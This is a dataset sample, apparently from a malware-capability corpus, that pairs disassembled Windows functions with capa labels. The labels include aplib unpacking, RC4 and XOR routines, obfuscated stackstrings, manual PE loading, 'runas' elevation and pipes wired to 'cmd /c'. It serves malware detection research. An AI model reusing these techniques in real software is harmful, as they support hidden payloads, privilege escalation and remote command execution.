joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403f37
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403f76
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403f76
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403f76
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403f76
cmp dword [ecx + 0x74], 0xe
jbe 0x403f76
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0xbcc058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00bcc1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xbcc07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbcc06a
add dl, dl
jne 0xbcc089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbcc0dc
xor eax, eax
add dl, dl
jne 0xbcc096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbcc17d
add dl, dl
jne 0xbcc0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbcc0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbcc0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbcc0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xbcc0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xbcc075
mov eax, 1
add dl, dl
jne 0xbcc0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbcc0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbcc0e1
sub eax, ebx
mov ebx, 1
jne 0xbcc128
mov ecx, 1
add dl, dl
jne 0xbcc10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbcc119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbcc105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbcc075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xbcc13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbcc14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbcc136
cmp eax, 0x7d00
jae 0xbcc16d
cmp eax, 0x500
jb 0xbcc168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbcc075
cmp eax, 0x7f
ja 0xbcc170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbcc075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xbcc19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xbcc075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10004561
Capabilities:
Create process on windows

Disassembly:
push 0xa4
mov eax, 0x1001fe57
call fcn.1000952c
push dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
push eax
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x58]
push esi
push eax
call fcn.10003ba8
push 0x44
pop edi
xor ebx, ebx
lea eax, [ebp - 0xb0]
push edi
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.1000ae90
add esp, 0x1c
mov dword [ebp - 0xb0], edi
xor eax, eax
lea edi, [ebp - 0x6c]
cmp dword [ebp - 0x44], 8
lea ecx, [ebp - 0x6c]
stosd dword es:[edi], eax
push ecx
lea ecx, [ebp - 0xb0]
push ecx
stosd dword es:[edi], eax
push ebx
push ebx
push 0x4000000
stosd dword es:[edi], eax
push ebx
push ebx
push ebx
stosd dword es:[edi], eax
lea eax, [ebp - 0x58]
cmovae eax, dword [ebp - 0x58]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
inc ebx
test eax, eax
je 0x100045f1
push dword [ebp - 0x68]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x6c]
call esi
jmp 0x10004671
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2e4
jne 0x1000466f
and dword [ebp - 0x18], 0
lea ecx, [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0x14], 7
push 0x10021280
mov word [ebp - 0x28], ax
call fcn.10002ee9
push dword [ebp + 0x10]
lea eax, [ebp - 0x28]
mov byte [ebp - 4], bl
push dword [ebp - 0x5c]
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.10003ba8
add esp, 0x10
lea ecx, [ebp - 0x28]
call fcn.10002d4c
cmp dword [ebp - 0x2c], 8
lea eax, [ebp - 0x40]
cmovae eax, dword [ebp - 0x40]
cmp dword [esi + 0x14], 8
jb 0x10004650
mov esi, dword [esi]
push ebx
push 0
push eax
push esi
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x40]
cmp eax, 0x20
jge 0x10004681
call fcn.10002d4c
xor ebx, ebx
lea ecx, [ebp - 0x58]
call fcn.10002d4c
mov eax, ebx
call fcn.100094d6
ret
call fcn.10002d4c
jmp 0x10004671
Function at 0x100069f5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x10020062
call fcn.1000959a
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 0x418], ebx
push 0x60
push ebx
push esi
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x10006a72
push 2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x10006a72
call fcn.100056f7
mov esi, eax
jmp 0x10006b49
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x10006a95
call fcn.100056f7
jmp 0x10006b3c
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x10006a8b
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x420], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x10006ac5
mov esi, 0x8007000e
jmp 0x10006b3e
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.1000532d
jmp 0x10006aeb
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x10006abe
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x41c]
push ebx
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x10006a8b
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.100068bc
mov esi, eax
test edi, edi
je 0x10006b49
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10006b62
lea ecx, [ebp - 0x418]
call fcn.10006173
mov eax, esi
call fcn.100094e7
ret 0x10
Function at 0x1000c81f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
stc
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.1000c49a
push eax
push esi
push dword [ebp + 8]
invalid
push cs

Function at 0x1000c867
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pushfd
xor al, 0xc6
inc ebp
popfd
and dh, al
inc ebp
sahf
sub eax, 0x119f45c6
inc ebp
lahf
invalid

Function at 0x1000c872
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pushfd
xor al, 0xc6
inc ebp
popfd
and dh, al
inc ebp
sahf
sub eax, 0x119f45c6
inc ebp
lahf
invalid

Function at 0x1000c87d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.1000c49a
push eax
push esi
push dword [ebp + 8]
call fcn.1000c44f
scasd eax, dword es:[edi]
sti
invalid
dec dword [ecx - 0xbb7b]
dec dword [ebp + 0x5d88d445]
aam 0x50
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.1000c49a
push eax
push esi
push dword [ebp + 8]
call fcn.1000c44f
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.1000c48a
test dword [edi], 0x9d88e8e8
jl 0x1000c90f
invalid
invalid

Function at 0x1000ca83
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x1000ca2f
cmp dword [eax + 0xc], ebx
je 0x1000cad2
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.1000c48a
das
jnp 0x1000caab
out dx, al
cmp dword [ebp + 0xc], ebx
jne 0x1000ca5e
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x1000cc79
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x1000ca72
mov dword [ebp + 0x10], edi
jmp 0x1000ca77
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.1000c48a
sub byte [esi + 0x458bd9fc], ah
adc byte [ebx + 0x74c33b00], cl
mov eax, dword [eax]
cmp eax, ebx
je 0x1000cac0
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x1000cac0
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x1000ca9b
and eax, 0xffff
push eax
jmp 0x1000ca9f
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1000c44f
add esp, 0xc
cmp edi, ebx
les ecx, [ebx + edi]
sti
mov dword [edi], eax
je 0x1000cc79
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x1000ca80
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x1000ca21
call fcn.1000c48a
sal cl, 1
inc ebp
xchg edi, eax
mov eax, dword [edi + 0xa0]
cmp eax, ebx
je 0x1000cb3e
add eax, esi
Function at 0x1000caf8
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x1000cb3e
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x1000cb39
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x1000cb23
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x1000cb2b
cmp edx, ebx
jne 0x1000cc79
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x1000cafa
add eax, dword [eax + 4]
jmp 0x1000cae7
mov dword [ebp + 0xc], ebx
jmp 0x1000cb49
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x1000cb61
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x1000cb7f
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x1000cbdd
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x1000cbc4
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x1000cbcd
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x1000cbd7
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x1000cbb9
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x1000cb43
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x1000cc2a
dec eax
je 0x1000cc21
sub eax, 3
je 0x1000cc18
mov dword [ebp - 4], 0x40
jmp 0x1000cc47
mov dword [ebp - 4], 4
jmp 0x1000cc2d
mov dword [ebp - 4], 0x20
jmp 0x1000cc2d
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x1000cc79
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x1000cbf9
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.1000c48a
cwde
retf 0x7b00
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000d36b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.1000c468
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.1000c49a
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1000c44f
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.1000c48a
lock add dh, byte [esp + edi*2 + 0x10468]
add byte [ebp - 0x12b7b], cl
call dword [eax - 1]
xchg ebp, eax
sub al, 0xfc
invalid

Function at 0x1001a9d4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001a697

Function at 0x1001a9df
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001a818

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x410ba0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45a838
mov eax, dword fs:[0]
push eax
sub esp, 0x814
push ebx
push esi
push edi
mov eax, dword [0x47802c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor ebx, ebx
mov eax, dword [ebp + 0x10]
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], esi
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x18], eax
mov ecx, esi
mov dword [ebp + edi*4 - 0x420], edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410bf0
sub ecx, edx
mov eax, edi
xor edx, edx
div ecx
movzx eax, byte [edx + esi]
mov dword [ebp + edi*4 - 0x820], eax
inc edi
cmp edi, 0x100
jl 0x410be1
mov esi, dword [ebp - 0x10]
xor edx, edx
nop dword [eax + eax]
mov eax, dword [ebp + edx - 0x820]
mov ecx, dword [ebp + edx - 0x420]
add eax, ecx
add ebx, eax
and ebx, 0x800000ff
jns 0x410c42
dec ebx
or ebx, 0xffffff00
inc ebx
mov eax, dword [ebp + ebx*4 - 0x420]
mov dword [ebp + edx - 0x420], eax
add edx, 4
mov dword [ebp + ebx*4 - 0x420], ecx
cmp edx, 0x400
jl 0x410c20
mov eax, dword [ebp - 0x18]
inc eax
push eax
call fcn.0043a878
mov ebx, eax
add esp, 4
mov eax, dword [ebp - 0x18]
xor edx, edx
xor edi, edi
mov dword [ebp - 0x1c], ebx
test eax, eax
jle 0x410d02
sub dword [ebp + 0xc], ebx
mov esi, ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
nop
inc edi
and edi, 0x800000ff
jns 0x410ca1
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp + edi*4 - 0x420]
add edx, ecx
and edx, 0x800000ff
jns 0x410cba
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp + edx*4 - 0x420]
mov dword [ebp + edi*4 - 0x420], eax
mov dword [ebp + edx*4 - 0x420], ecx
mov eax, dword [ebp + edi*4 - 0x420]
add eax, ecx
and eax, 0x800000ff
jns 0x410ce6
dec eax
or eax, 0xffffff00
inc eax
mov al, byte [ebp + eax*4 - 0x420]
xor al, byte [ebx + esi]
mov byte [esi], al
inc esi
sub dword [ebp - 0x14], 1
jne 0x410c90
mov esi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov dword [esi + 0x10], 0
mov ecx, esi
mov dword [esi + 0x14], 0xf
add ebx, eax
push eax
mov byte [esi], 0
call fcn.00434980
mov eax, dword [ebp - 0x1c]
mov edi, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], 0
cmp eax, ebx
je 0x410d78
mov bl, byte [edi]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
mov byte [ebp - 0x10], bl
cmp ecx, edx
jae 0x410d58
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0x10
jb 0x410d4e
mov eax, dword [esi]
mov byte [eax + ecx], bl
mov byte [eax + ecx + 1], 0
jmp 0x410d6a
push dword [ebp - 0x10]
mov byte [ebp - 0x14], 0
push dword [ebp - 0x14]
push ecx
mov ecx, esi
call fcn.00433cf0
mov eax, dword [ebp - 0x18]
inc edi
add eax, dword [ebp - 0x1c]
cmp edi, eax
jne 0x410d30
mov eax, dword [ebp - 0x1c]
push 1
push eax
call fcn.0043a86a
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x411090
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
lea esi, [ecx + 0x78]
mov dword [ebp - 0xc], edx
add esi, dword [ecx + 0x3c]
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov dword [ebp - 8], esi
mov ebx, dword [esi]
add ebx, ecx
mov eax, dword [ebx + 0x24]
add eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebx + 0x20]
add eax, ecx
mov dword [ebp - 0x10], eax
test edx, 0xffff0000
jne 0x4110f3
movzx ecx, dx
mov edx, dword [ebx + 0x10]
cmp ecx, edx
jb 0x4111d0
mov eax, dword [ebx + 0x14]
add eax, edx
cmp ecx, eax
jae 0x4111d0
mov eax, dword [ebx + 0x1c]
sub ecx, edx
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 4]
mov edi, dword [eax + ecx]
add edi, ecx
jmp 0x411159
xor esi, esi
cmp dword [ebx + 0x18], esi
jbe 0x411156
nop word [eax + eax]
mov eax, dword [eax + esi*4]
add eax, ecx
mov ecx, edx
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x411127
test dl, dl
je 0x411123
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x411127
add ecx, 2
add eax, 2
test dl, dl
jne 0x411107
xor eax, eax
jmp 0x41112c
sbb eax, eax
or eax, 1
test eax, eax
je 0x411141
mov ecx, dword [ebp - 4]
inc esi
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
cmp esi, dword [ebx + 0x18]
jb 0x411100
jmp 0x411156
mov eax, dword [ebp - 0x14]
movzx ecx, word [eax + esi*2]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 4]
mov edi, dword [eax + ecx]
add edi, ecx
mov esi, dword [ebp - 8]
cmp edi, ebx
jb 0x4111c7
mov eax, dword [esi + 4]
add eax, ebx
cmp edi, eax
jae 0x4111c7
push edi
call fcn.004405a7
mov esi, eax
add esp, 4
test esi, esi
je 0x4111d0
push 0x2e
push esi
call fcn.0043c2a0
add esp, 8
mov dword [ebp - 0x14], eax
mov ecx, str.KERNEL32.DLL
mov byte [eax], 0
call fcn.00411030
mov edx, str.LoadLibraryA
mov ecx, eax
call fcn.00411090
mov edi, eax
test edi, edi
je 0x4111d0
push esi
call edi
push esi
mov ebx, eax
call fcn.004448e8
push edi
call fcn.004448e8
add esp, 8
test ebx, ebx
je 0x4111d0
mov edx, dword [ebp - 0x14]
mov ecx, ebx
inc edx
call fcn.00411090
mov edi, eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x412310
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45ab08
mov eax, dword fs:[0]
push eax
sub esp, 0x90
mov eax, dword [0x47802c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 0
mov edi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x2c], 0xc
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 1
push eax
mov dword [ebp - 0x28], 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 1
push dword [ebp - 0x1c]
call esi
push 0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
call edi
push 0
push 1
push dword [ebp - 0x18]
call esi
sub esp, 0x18
lea eax, [ebp + 0xc]
mov ecx, esp
mov edx, str.cmd__c
push eax
call fcn.00432140
add esp, 4
call fcn.00410270
push 0x44
mov esi, eax
xorps xmm0, xmm0
lea eax, [ebp - 0x94]
push 0
push eax
movups xmmword [ebp - 0x3c], xmm0
call fcn.0043c950
mov eax, dword [ebp - 0x20]
add esp, 0x24
or dword [ebp - 0x68], 0x101
mov edx, esi
mov dword [ebp - 0x54], eax
xor ecx, ecx
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x5c], eax
xor eax, eax
mov word [ebp - 0x64], ax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x44
push eax
sub esp, 8
push 0x10
sub esp, 0xc
call fcn.004112f0
movzx ecx, al
lea esi, [ebp - 0x98]
mov eax, dword [ebp - 0x14]
add esp, 0x20
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x98], ecx
mov ecx, 0x1b
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0
mov eax, dword [ebp + 8]
mov edi, eax
mov edx, dword [ebp + 0x20]
rep movsd dword es:[edi], dword [esi]
cmp edx, 0x10
jb 0x412480
mov ecx, dword [ebp + 0xc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412473
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41249b
push edx
push ecx
call fcn.0043a86a
mov eax, dword [ebp + 8]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043a313
mov esp, ebp
pop ebp
ret
call fcn.0044532a
int3
Function at 0x412b40
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24c
mov eax, dword [0x47802c]
xor eax, esp
mov dword [esp + 0x248], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push esi
push edi
mov edi, 5
nop dword [eax + eax]
push 0x114
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.0043c950
add esp, 0xc
mov dword [esp + 0x10], 0x11c
mov dword [esp + 0x14], edi
push 1
push 2
push 0
push 0
call ebx
push edx
push eax
push 2
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x412bff
xor esi, esi
nop
push 0x11c
lea eax, [esp + 0x134]
push 0
push eax
call fcn.0043c950
add esp, 0xc
mov dword [esp + 0x130], 0x11c
mov dword [esp + 0x138], esi
push 1
push 1
push 0
push 0
call ebx
push edx
push eax
push 1
lea eax, [esp + 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
jne 0x412c20
inc esi
cmp esi, 5
jbe 0x412bb0
inc edi
cmp edi, 0xc
jbe 0x412b70
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x248]
xor ecx, esp
call fcn.0043a313
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x254]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0043a313
mov esp, ebp
pop ebp
ret